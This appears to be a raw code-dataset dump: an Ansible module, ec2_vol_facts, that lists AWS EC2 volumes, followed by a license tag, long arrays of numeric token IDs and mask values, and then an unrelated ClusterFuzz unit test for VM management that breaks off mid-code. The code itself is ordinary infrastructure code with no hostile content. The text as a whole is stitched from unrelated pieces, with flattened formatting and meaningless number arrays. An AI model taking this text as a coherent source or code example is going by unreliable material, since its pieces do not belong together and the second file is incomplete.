#!/usr/bin/python # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: ec2_vol_facts short_description: Gather facts about ec2 volumes in AWS description: - Gather facts about ec2 volumes in AWS version_added: "2.1" author: "Rob White (@wimnat)" options: filters: description: - A dict of filters to apply. Each dict item consists of a filter key and a filter value. See U(http://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeVolumes.html) for possible filters. required: false default: null extends_documentation_fragment: - aws - ec2 ''' EXAMPLES = ''' # Note: These examples do not set authentication details, see the AWS Guide for details. # Gather facts about all volumes - ec2_vol_facts: # Gather facts about a particular volume using volume ID - ec2_vol_facts: filters: volume-id: vol-00112233 # Gather facts about any volume with a tag key Name and value Example - ec2_vol_facts: filters: "tag:Name": Example # Gather facts about any volume that is attached - ec2_vol_facts: filters: attachment.status: attached ''' # TODO: Disabled the RETURN as it was breaking docs building. Someone needs to # fix this RETURN = '''# ''' import traceback try: import boto.ec2 from boto.exception import BotoServerError HAS_BOTO = True except ImportError: HAS_BOTO = False from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.ec2 import connect_to_aws, ec2_argument_spec, get_aws_connection_info from ansible.module_utils._text import to_native def get_volume_info(volume): attachment = volume.attach_data volume_info = { 'create_time': volume.create_time, 'id': volume.id, 'encrypted': volume.encrypted, 'iops': volume.iops, 'size': volume.size, 'snapshot_id': volume.snapshot_id, 'status': volume.status, 'type': volume.type, 'zone': volume.zone, 'region': volume.region.name, 'attachment_set': { 'attach_time': attachment.attach_time, 'device': attachment.device, 'instance_id': attachment.instance_id, 'status': attachment.status }, 'tags': volume.tags } return volume_info def list_ec2_volumes(connection, module): filters = module.params.get("filters") volume_dict_array = [] try: all_volumes = connection.get_all_volumes(filters=filters) except BotoServerError as e: module.fail_json(msg=e.message) for volume in all_volumes: volume_dict_array.append(get_volume_info(volume)) module.exit_json(volumes=volume_dict_array) def main(): argument_spec = ec2_argument_spec() argument_spec.update( dict( filters=dict(default=None, type='dict') ) ) module = AnsibleModule(argument_spec=argument_spec) if not HAS_BOTO: module.fail_json(msg='boto required for this module') region, ec2_url, aws_connect_params = get_aws_connection_info(module) if region: try: connection = connect_to_aws(boto.ec2, region, **aws_connect_params) except (boto.exception.NoAuthHandlerFound, Exception) as e: module.fail_json(msg=to_native(e), exception=traceback.format_exc()) else: module.fail_json(msg="region must be specified") list_ec2_volumes(connection, module) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1898, 26, 2622, 7290, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 7062, 18, 63, 5650, 63, 5047, 199, 3612, 63, 1802, 26, 19634, 9036, 3595, 7062, 18, 12158, 315, 10168, 199, 1802, 26, 272, 446, 19634, 9036, 3595, 7062, 18, 12158, 315, 10168, 199, 1023, 63, 3270, 26, 298, 18, 14, 17, 2, 199, 2502, 26, 298, 50, 2873, 2816, 1175, 8593, 87, 1017, 9468, 2924, 199, 1419, 26, 523, 4766, 26, 272, 1369, 26, 489, 446, 437, 1211, 402, 4766, 370, 4838, 14, 7048, 1211, 1242, 18581, 402, 282, 2457, 790, 436, 282, 2457, 574, 14, 267, 1666, 738, 8, 1014, 921, 4757, 14, 7231, 14, 15144, 14, 957, 15, 15088, 15048, 18, 15, 7410, 15, 3735, 5083, 15, 3735, 63, 19506, 32480, 14, 1360, 9, 367, 3962, 4766, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 199, 11036, 63, 9970, 63, 7677, 26, 272, 446, 11488, 272, 446, 7062, 18, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 3390, 26, 5723, 7251, 886, 440, 663, 6299, 2436, 12, 1937, 314, 10168, 15423, 367, 2436, 14, 199, 199, 3, 19634, 9036, 3595, 1006, 12158, 199, 13, 7062, 18, 63, 5650, 63, 5047, 26, 199, 199, 3, 19634, 9036, 3595, 282, 6770, 3301, 1808, 3301, 2870, 199, 13, 7062, 18, 63, 5650, 63, 5047, 26, 272, 4766, 26, 489, 3301, 13, 344, 26, 5236, 13, 4587, 7507, 1153, 199, 199, 3, 19634, 9036, 3595, 1263, 3301, 543, 282, 1947, 790, 2812, 436, 574, 5679, 199, 13, 7062, 18, 63, 5650, 63, 5047, 26, 272, 4766, 26, 489, 298, 1450, 26, 985, 582, 5679, 199, 199, 3, 19634, 9036, 3595, 1263, 3301, 626, 365, 10102, 199, 13, 7062, 18, 63, 5650, 63, 5047, 26, 272, 4766, 26, 489, 12193, 14, 1205, 26, 10102, 199, 199, 2344, 199, 199, 3, 3254, 26, 5289, 1909, 314, 24646, 465, 652, 1990, 27485, 9149, 10015, 14, 6601, 368, 4839, 370, 199, 3, 5325, 642, 199, 9677, 275, 1449, 3, 1449, 199, 199, 646, 5190, 199, 199, 893, 26, 272, 492, 6055, 14, 825, 18, 272, 687, 6055, 14, 1971, 492, 24411, 17692, 272, 7509, 63, 21373, 275, 715, 199, 2590, 3545, 26, 272, 7509, 63, 21373, 275, 756, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 825, 18, 492, 4907, 63, 475, 63, 7231, 12, 7062, 18, 63, 2094, 63, 1650, 12, 664, 63, 7231, 63, 2105, 63, 815, 199, 504, 3242, 14, 578, 63, 1208, 423, 505, 492, 370, 63, 6106, 421, 199, 318, 664, 63, 2405, 63, 815, 8, 2405, 304, 339, 12193, 275, 3301, 14, 5040, 63, 576, 339, 3301, 63, 815, 275, 469, 267, 283, 981, 63, 521, 356, 3301, 14, 981, 63, 521, 12, 267, 283, 344, 356, 3301, 14, 344, 12, 267, 283, 15078, 356, 3301, 14, 15078, 12, 267, 283, 73, 1483, 356, 3301, 14, 73, 1483, 12, 267, 283, 890, 356, 3301, 14, 890, 12, 267, 283, 4753, 63, 344, 356, 3301, 14, 4753, 63, 344, 12, 267, 283, 1205, 356, 3301, 14, 1205, 12, 267, 283, 466, 356, 3301, 14, 466, 12, 267, 283, 2619, 356, 3301, 14, 2619, 12, 267, 283, 4551, 356, 3301, 14, 4551, 14, 354, 12, 267, 283, 8905, 63, 409, 356, 469, 288, 283, 5040, 63, 521, 356, 12193, 14, 5040, 63, 521, 12, 288, 283, 1782, 356, 12193, 14, 1782, 12, 288, 283, 842, 63, 344, 356, 12193, 14, 842, 63, 344, 12, 288, 283, 1205, 356, 12193, 14, 1205, 267, 1660, 267, 283, 2969, 356, 3301, 14, 2969, 272, 789, 339, 372, 3301, 63, 815, 421, 199, 318, 769, 63, 825, 18, 63, 8838, 8, 2105, 12, 859, 304, 339, 4766, 275, 859, 14, 1162, 14, 362, 480, 4273, 531, 272, 3301, 63, 807, 63, 1144, 275, 942, 339, 862, 26, 267, 1006, 63, 8838, 275, 1950, 14, 362, 63, 452, 63, 8838, 8, 4273, 29, 4273, 9, 272, 871, 24411, 17692, 465, 325, 26, 267, 859, 14, 1633, 63, 1001, 8, 1328, 29, 69, 14, 1188, 9, 339, 367, 3301, 315, 1006, 63, 8838, 26, 267, 3301, 63, 807, 63, 1144, 14, 740, 8, 362, 63, 2405, 63, 815, 8, 2405, 430, 339, 859, 14, 2224, 63, 1001, 8, 8838, 29, 2405, 63, 807, 63, 1144, 9, 421, 199, 318, 2446, 837, 272, 1423, 63, 1650, 275, 7062, 18, 63, 2094, 63, 1650, 342, 272, 1423, 63, 1650, 14, 873, 8, 267, 1211, 8, 288, 4766, 29, 807, 8, 885, 29, 403, 12, 730, 534, 807, 358, 267, 776, 272, 776, 339, 859, 275, 6953, 8, 2094, 63, 1650, 29, 2094, 63, 1650, 9, 339, 340, 440, 7509, 63, 21373, 26, 267, 859, 14, 1633, 63, 1001, 8, 1328, 534, 10914, 1415, 367, 642, 859, 358, 339, 4897, 12, 7062, 18, 63, 633, 12, 11488, 63, 2242, 63, 1162, 275, 664, 63, 7231, 63, 2105, 63, 815, 8, 578, 9, 339, 340, 4897, 26, 267, 862, 26, 288, 1950, 275, 4907, 63, 475, 63, 7231, 8, 10914, 14, 825, 18, 12, 4897, 12, 1011, 7231, 63, 2242, 63, 1162, 9, 267, 871, 334, 10914, 14, 1971, 14, 1944, 21547, 3601, 12, 2186, 9, 465, 325, 26, 288, 859, 14, 1633, 63, 1001, 8, 1328, 29, 475, 63, 6106, 8, 69, 395, 1919, 29, 6894, 14, 908, 63, 2804, 1012, 272, 587, 26, 267, 859, 14, 1633, 63, 1001, 8, 1328, 628, 4551, 1471, 506, 2013, 531, 339, 769, 63, 825, 18, 63, 8838, 8, 2105, 12, 859, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1898, 26, 2622, 7290, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 7062, 18, 63, 5650, 63, 5047, 199, 3612, 63, 1802, 26, 19634, 9036, 3595, 7062, 18, 12158, 315, 10168, 199, 1802, 26, 272, 446, 19634, 9036, 3595, 7062, 18, 12158, 315, 10168, 199, 1023, 63, 3270, 26, 298, 18, 14, 17, 2, 199, 2502, 26, 298, 50, 2873, 2816, 1175, 8593, 87, 1017, 9468, 2924, 199, 1419, 26, 523, 4766, 26, 272, 1369, 26, 489, 446, 437, 1211, 402, 4766, 370, 4838, 14, 7048, 1211, 1242, 18581, 402, 282, 2457, 790, 436, 282, 2457, 574, 14, 267, 1666, 738, 8, 1014, 921, 4757, 14, 7231, 14, 15144, 14, 957, 15, 15088, 15048, 18, 15, 7410, 15, 3735, 5083, 15, 3735, 63, 19506, 32480, 14, 1360, 9, 367, 3962, 4766, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 199, 11036, 63, 9970, 63, 7677, 26, 272, 446, 11488, 272, 446, 7062, 18, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 3390, 26, 5723, 7251, 886, 440, 663, 6299, 2436, 12, 1937, 314, 10168, 15423, 367, 2436, 14, 199, 199, 3, 19634, 9036, 3595, 1006, 12158, 199, 13, 7062, 18, 63, 5650, 63, 5047, 26, 199, 199, 3, 19634, 9036, 3595, 282, 6770, 3301, 1808, 3301, 2870, 199, 13, 7062, 18, 63, 5650, 63, 5047, 26, 272, 4766, 26, 489, 3301, 13, 344, 26, 5236, 13, 4587, 7507, 1153, 199, 199, 3, 19634, 9036, 3595, 1263, 3301, 543, 282, 1947, 790, 2812, 436, 574, 5679, 199, 13, 7062, 18, 63, 5650, 63, 5047, 26, 272, 4766, 26, 489, 298, 1450, 26, 985, 582, 5679, 199, 199, 3, 19634, 9036, 3595, 1263, 3301, 626, 365, 10102, 199, 13, 7062, 18, 63, 5650, 63, 5047, 26, 272, 4766, 26, 489, 12193, 14, 1205, 26, 10102, 199, 199, 2344, 199, 199, 3, 3254, 26, 5289, 1909, 314, 24646, 465, 652, 1990, 27485, 9149, 10015, 14, 6601, 368, 4839, 370, 199, 3, 5325, 642, 199, 9677, 275, 1449, 3, 1449, 199, 199, 646, 5190, 199, 199, 893, 26, 272, 492, 6055, 14, 825, 18, 272, 687, 6055, 14, 1971, 492, 24411, 17692, 272, 7509, 63, 21373, 275, 715, 199, 2590, 3545, 26, 272, 7509, 63, 21373, 275, 756, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 825, 18, 492, 4907, 63, 475, 63, 7231, 12, 7062, 18, 63, 2094, 63, 1650, 12, 664, 63, 7231, 63, 2105, 63, 815, 199, 504, 3242, 14, 578, 63, 1208, 423, 505, 492, 370, 63, 6106, 421, 199, 318, 664, 63, 2405, 63, 815, 8, 2405, 304, 339, 12193, 275, 3301, 14, 5040, 63, 576, 339, 3301, 63, 815, 275, 469, 267, 283, 981, 63, 521, 356, 3301, 14, 981, 63, 521, 12, 267, 283, 344, 356, 3301, 14, 344, 12, 267, 283, 15078, 356, 3301, 14, 15078, 12, 267, 283, 73, 1483, 356, 3301, 14, 73, 1483, 12, 267, 283, 890, 356, 3301, 14, 890, 12, 267, 283, 4753, 63, 344, 356, 3301, 14, 4753, 63, 344, 12, 267, 283, 1205, 356, 3301, 14, 1205, 12, 267, 283, 466, 356, 3301, 14, 466, 12, 267, 283, 2619, 356, 3301, 14, 2619, 12, 267, 283, 4551, 356, 3301, 14, 4551, 14, 354, 12, 267, 283, 8905, 63, 409, 356, 469, 288, 283, 5040, 63, 521, 356, 12193, 14, 5040, 63, 521, 12, 288, 283, 1782, 356, 12193, 14, 1782, 12, 288, 283, 842, 63, 344, 356, 12193, 14, 842, 63, 344, 12, 288, 283, 1205, 356, 12193, 14, 1205, 267, 1660, 267, 283, 2969, 356, 3301, 14, 2969, 272, 789, 339, 372, 3301, 63, 815, 421, 199, 318, 769, 63, 825, 18, 63, 8838, 8, 2105, 12, 859, 304, 339, 4766, 275, 859, 14, 1162, 14, 362, 480, 4273, 531, 272, 3301, 63, 807, 63, 1144, 275, 942, 339, 862, 26, 267, 1006, 63, 8838, 275, 1950, 14, 362, 63, 452, 63, 8838, 8, 4273, 29, 4273, 9, 272, 871, 24411, 17692, 465, 325, 26, 267, 859, 14, 1633, 63, 1001, 8, 1328, 29, 69, 14, 1188, 9, 339, 367, 3301, 315, 1006, 63, 8838, 26, 267, 3301, 63, 807, 63, 1144, 14, 740, 8, 362, 63, 2405, 63, 815, 8, 2405, 430, 339, 859, 14, 2224, 63, 1001, 8, 8838, 29, 2405, 63, 807, 63, 1144, 9, 421, 199, 318, 2446, 837, 272, 1423, 63, 1650, 275, 7062, 18, 63, 2094, 63, 1650, 342, 272, 1423, 63, 1650, 14, 873, 8, 267, 1211, 8, 288, 4766, 29, 807, 8, 885, 29, 403, 12, 730, 534, 807, 358, 267, 776, 272, 776, 339, 859, 275, 6953, 8, 2094, 63, 1650, 29, 2094, 63, 1650, 9, 339, 340, 440, 7509, 63, 21373, 26, 267, 859, 14, 1633, 63, 1001, 8, 1328, 534, 10914, 1415, 367, 642, 859, 358, 339, 4897, 12, 7062, 18, 63, 633, 12, 11488, 63, 2242, 63, 1162, 275, 664, 63, 7231, 63, 2105, 63, 815, 8, 578, 9, 339, 340, 4897, 26, 267, 862, 26, 288, 1950, 275, 4907, 63, 475, 63, 7231, 8, 10914, 14, 825, 18, 12, 4897, 12, 1011, 7231, 63, 2242, 63, 1162, 9, 267, 871, 334, 10914, 14, 1971, 14, 1944, 21547, 3601, 12, 2186, 9, 465, 325, 26, 288, 859, 14, 1633, 63, 1001, 8, 1328, 29, 475, 63, 6106, 8, 69, 395, 1919, 29, 6894, 14, 908, 63, 2804, 1012, 272, 587, 26, 267, 859, 14, 1633, 63, 1001, 8, 1328, 628, 4551, 1471, 506, 2013, 531, 339, 769, 63, 825, 18, 63, 8838, 8, 2105, 12, 859, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
google/clusterfuzz
src/python/tests/appengine/handlers/cron/manage_vms_test.py
1
40729
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """manage_vms tests.""" import copy import functools import mock import unittest from google.cloud import ndb import six from datastore import data_types from google_cloud_utils import compute_engine_projects from handlers.cron import manage_vms from handlers.cron.helpers import bot_manager from tests.test_libs import helpers as test_helpers from tests.test_libs import test_utils INSTANCE_GROUPS = { 'oss-fuzz-linux-zone2-pre-proj2': { 'targetSize': 1, }, 'oss-fuzz-linux-zone2-pre-proj3': { 'targetSize': 499, }, 'oss-fuzz-linux-zone2-pre-proj4': { 'targetSize': 99, }, 'oss-fuzz-linux-zone2-pre-proj5': { 'targetSize': 99, } } INSTANCE_TEMPLATES = { 'oss-fuzz-linux-zone2-pre-proj2': { 'description': '{"version": 1}', 'properties': { 'metadata': { 'items': [], }, 'disks': [{ 'initializeParams': { 'diskSizeGb': '30', }, }], 'serviceAccounts': [{ 'email': 'email', 'scopes': [ 'https://www.googleapis.com/auth/' 'devstorage.full_control', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/appengine.apis', 'https://www.googleapis.com/auth/prodxmon', 'https://www.googleapis.com/auth/bigquery', ] }], } }, 'oss-fuzz-linux-zone2-pre-proj3': { 'description': '{"version": 1}', 'properties': { 'metadata': { 'items': [], }, 'disks': [{ 'initializeParams': { 'diskSizeGb': '30', }, }], 'serviceAccounts': [{ 'email': 'email', 'scopes': [ 'https://www.googleapis.com/auth/' 'devstorage.full_control', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/appengine.apis', 'https://www.googleapis.com/auth/prodxmon', 'https://www.googleapis.com/auth/bigquery', ] }], } }, 'oss-fuzz-linux-zone2-pre-proj4': { 'description': '{"version": 0}', 'properties': { 'metadata': { 'items': [], }, 'disks': [{ 'initializeParams': { 'diskSizeGb': '30', }, }], 'serviceAccounts': [{ 'email': 'email', 'scopes': [ 'https://www.googleapis.com/auth/' 'devstorage.full_control', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/appengine.apis', 'https://www.googleapis.com/auth/prodxmon', 'https://www.googleapis.com/auth/bigquery', ] }], } }, 'oss-fuzz-linux-zone2-pre-proj5': { 'description': '{"version": 1}', 'properties': { 'metadata': { 'items': [], }, 'disks': [{ 'initializeParams': { 'diskSizeGb': '30', }, }], 'serviceAccounts': [{ 'email': 'email', 'scopes': [ 'https://www.googleapis.com/auth/' 'devstorage.full_control', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/appengine.apis', 'https://www.googleapis.com/auth/prodxmon', 'https://www.googleapis.com/auth/bigquery', ] }], } } } INSTANCES = { 'oss-fuzz-linux-zone3-host': [{ 'instance': 'https://blah/oss-fuzz-linux-zone3-host-abcd', }, { 'instance': 'https://blah/oss-fuzz-linux-zone3-host-efgh', }], 'oss-fuzz-linux-zone3-worker-proj1': [{ 'instance': 'https://blah/oss-fuzz-linux-zone3-worker-proj1-%04d' % i } for i in range(1, 2)], 'oss-fuzz-linux-zone3-worker-proj2': [{ 'instance': 'https://blah/oss-fuzz-linux-zone3-worker-proj2-%04d' % i } for i in range(1, 5)], 'oss-fuzz-linux-zone3-worker-proj3': [{ 'instance': 'https://blah/oss-fuzz-linux-zone3-worker-proj3-%04d' % i } for i in range(1, 10)], 'oss-fuzz-linux-zone3-worker-proj4': [{ 'instance': 'https://blah/oss-fuzz-linux-zone3-worker-proj4-%04d' % i } for i in range(1, 2)], 'oss-fuzz-linux-zone3-worker-proj5': [{ 'instance': 'https://blah/oss-fuzz-linux-zone3-worker-proj5-%04d' % i } for i in range(1, 2)], 'oss-fuzz-linux-zone3-host-high-end': [{ 'instance': 'https://blah/oss-fuzz-linux-zone3-host-high-end-1' }], 'oss-fuzz-linux-zone3-worker-high-end-proj6': [{ 'instance': ('https://blah/' 'oss-fuzz-linux-zone3-worker-high-end-proj6-%04d' % i) } for i in range(1, 3)], } def mock_resource(spec): """Mock resource.""" resource = mock.Mock(spec=spec) resource.created = False resource.body = None def create(*args, **kwargs): # pylint: disable=unused-argument if resource.created: raise bot_manager.AlreadyExistsError resource.created = True def get(): if resource.created: return resource.body raise bot_manager.NotFoundError def exists(): return resource.created def delete(): if not resource.created: raise bot_manager.NotFoundError resource.created = False resource.create.side_effect = create resource.get.side_effect = get resource.exists.side_effect = exists resource.delete.side_effect = delete return resource class MockBotManager(object): """Mock BotManager.""" def __init__(self, project_id, zone, instance_groups, instance_templates): self.project_id = project_id self.zone = zone self.instance_groups = instance_groups self.instance_templates = instance_templates def _get_resource(self, name, cache, values, spec): """Get resource.""" if name in cache: return cache[name] resource = mock_resource(spec=spec) if name in values: resource.created = True resource.body = values[name] cache[name] = resource return resource def instance_group(self, name): """Get an InstanceGroup resource with the given name.""" resource = self._get_resource(name, self.instance_groups, INSTANCE_GROUPS, bot_manager.InstanceGroup) if name in INSTANCES: resource.list_managed_instances.return_value = INSTANCES[name] return resource def instance_template(self, name): """Get an InstanceTemplate resource with the given name.""" return self._get_resource(name, self.instance_templates, INSTANCE_TEMPLATES, bot_manager.InstanceTemplate) def expected_instance_template(gce_project_name, name, project_name, disk_size_gb=None, service_account=None, tls_cert=False): """Get the expected instance template for a project.""" gce_project = compute_engine_projects.load_project(gce_project_name) expected = copy.deepcopy(gce_project.get_instance_template(name)) expected['properties']['metadata']['items'].append({ 'key': 'task-tag', 'value': project_name, }) if disk_size_gb: disk = expected['properties']['disks'][0] disk['initializeParams']['diskSizeGb'] = disk_size_gb if service_account: expected['properties']['serviceAccounts'][0]['email'] = service_account if tls_cert: expected['properties']['metadata']['items'].extend([{ 'key': 'tls-cert', 'value': project_name + '_cert', }, { 'key': 'tls-key', 'value': project_name + '_key', }]) return expected def expected_host_instance_template(gce_project_name, name): """Get the expected instance template for a project.""" gce_project = compute_engine_projects.load_project(gce_project_name) return copy.deepcopy(gce_project.get_instance_template(name)) @test_utils.with_cloud_emulators('datastore') class CronTest(unittest.TestCase): """Test manage_vms cron.""" def setUp(self): test_helpers.patch_environ(self) test_helpers.patch(self, [ 'base.utils.is_oss_fuzz', 'handlers.cron.helpers.bot_manager.BotManager', 'system.environment.is_running_on_app_engine', 'google_cloud_utils.compute_engine_projects.load_project', ]) self.mock.is_oss_fuzz.return_value = True self.mock.is_running_on_app_engine.return_value = True self.mock.load_project.return_value = compute_engine_projects.Project( project_id='clusterfuzz-external', clusters=[ compute_engine_projects.Cluster( name='oss-fuzz-linux-zone2-pre', gce_zone='us-east2-a', instance_count=997, instance_template='external-pre-zone2', distribute=True, worker=False, high_end=False), compute_engine_projects.Cluster( name='oss-fuzz-linux-zone3-host', gce_zone='us-central1-d', instance_count=2, instance_template='host-zone3', distribute=False, worker=False, high_end=False), compute_engine_projects.Cluster( name='oss-fuzz-linux-zone3-worker', gce_zone='us-central1-d', instance_count=16, instance_template='worker-zone3', distribute=True, worker=True, high_end=False), compute_engine_projects.Cluster( name='oss-fuzz-linux-zone3-host-high-end', gce_zone='us-central1-d', instance_count=1, instance_template='host-high-end-zone3', distribute=False, worker=False, high_end=True), compute_engine_projects.Cluster( name='oss-fuzz-linux-zone3-worker-high-end', gce_zone='us-central1-d', instance_count=2, instance_template='worker-zone3', distribute=True, worker=True, high_end=True), ], instance_templates=[ { 'name': 'external-pre-zone2', 'description': '{"version": 1}', 'properties': { 'metadata': { 'items': [], }, 'disks': [{ 'initializeParams': { 'diskSizeGb': 30, }, }], 'serviceAccounts': [{ 'email': 'email', 'scopes': [ 'https://www.googleapis.com/auth/' 'devstorage.full_control', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/appengine.apis', 'https://www.googleapis.com/auth/prodxmon', 'https://www.googleapis.com/auth/bigquery', ] }], } }, { 'name': 'host-zone3', 'description': '{"version": 1}', 'properties': { 'metadata': { 'items': [], }, 'disks': [{ 'initializeParams': { 'diskSizeGb': 30, }, }], 'serviceAccounts': [{ 'email': 'email', 'scopes': [ 'https://www.googleapis.com/auth/' 'devstorage.full_control', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/appengine.apis', 'https://www.googleapis.com/auth/prodxmon', 'https://www.googleapis.com/auth/bigquery', ] }], } }, { 'name': 'worker-zone3', 'description': '{"version": 1}', 'properties': { 'metadata': { 'items': [], }, 'disks': [{ 'initializeParams': { 'diskSizeGb': 30, }, }], 'serviceAccounts': [{ 'email': 'email', 'scopes': [ 'https://www.googleapis.com/auth/' 'devstorage.full_control', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/prodxmon', ] }], } }, { 'name': 'host-high-end-zone3', 'description': '{"version": 1}', 'properties': { 'metadata': { 'items': [], }, 'disks': [{ 'initializeParams': { 'diskSizeGb': 100, }, }], 'serviceAccounts': [{ 'email': 'email', 'scopes': [ 'https://www.googleapis.com/auth/' 'devstorage.full_control', 'https://www.googleapis.com/auth/logging.write', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/prodxmon', ] }], } }, ], host_worker_assignments=[ compute_engine_projects.HostWorkerAssignment( host='oss-fuzz-linux-zone3-host', worker='oss-fuzz-linux-zone3-worker', workers_per_host=8), compute_engine_projects.HostWorkerAssignment( host='oss-fuzz-linux-zone3-host-high-end', worker='oss-fuzz-linux-zone3-worker-high-end', workers_per_host=2), ]) data_types.OssFuzzProject( id='proj1', name='proj1', cpu_weight=1.0, service_account='proj1@serviceaccount.com').put() data_types.OssFuzzProject( id='proj2', name='proj2', cpu_weight=2.0, service_account='proj2@serviceaccount.com').put() data_types.OssFuzzProject( id='proj3', name='proj3', cpu_weight=5.0, service_account='proj3@serviceaccount.com').put() data_types.OssFuzzProject( id='proj4', name='proj4', cpu_weight=1.0, service_account='proj4@serviceaccount.com').put() data_types.OssFuzzProject( id='proj5', name='proj5', cpu_weight=1.0, service_account='proj5@serviceaccount.com', disk_size_gb=10).put() data_types.OssFuzzProject( id='proj6', name='proj6', cpu_weight=1.0, service_account='proj6@serviceaccount.com', high_end=True).put() for j in range(1, 7): project_name = 'proj%d' % j data_types.WorkerTlsCert( id=project_name, project_name=project_name, cert_contents=project_name.encode() + b'_cert', key_contents=project_name.encode() + b'_key').put() data_types.OssFuzzProjectInfo(id='old_proj', name='old_proj').put() data_types.OssFuzzProjectInfo( id='proj2', name='proj2', clusters=[ data_types.OssFuzzProjectInfo.ClusterInfo( cluster='oss-fuzz-linux-zone2-pre', gce_zone='us-east2-a', cpu_count=1, ), data_types.OssFuzzProjectInfo.ClusterInfo( cluster='old-cluster', gce_zone='us-east2-a', cpu_count=1, ), ]).put() data_types.OssFuzzProjectInfo( id='proj3', name='proj3', clusters=[ data_types.OssFuzzProjectInfo.ClusterInfo( cluster='oss-fuzz-linux-zone2-pre', gce_zone='us-east2-a', 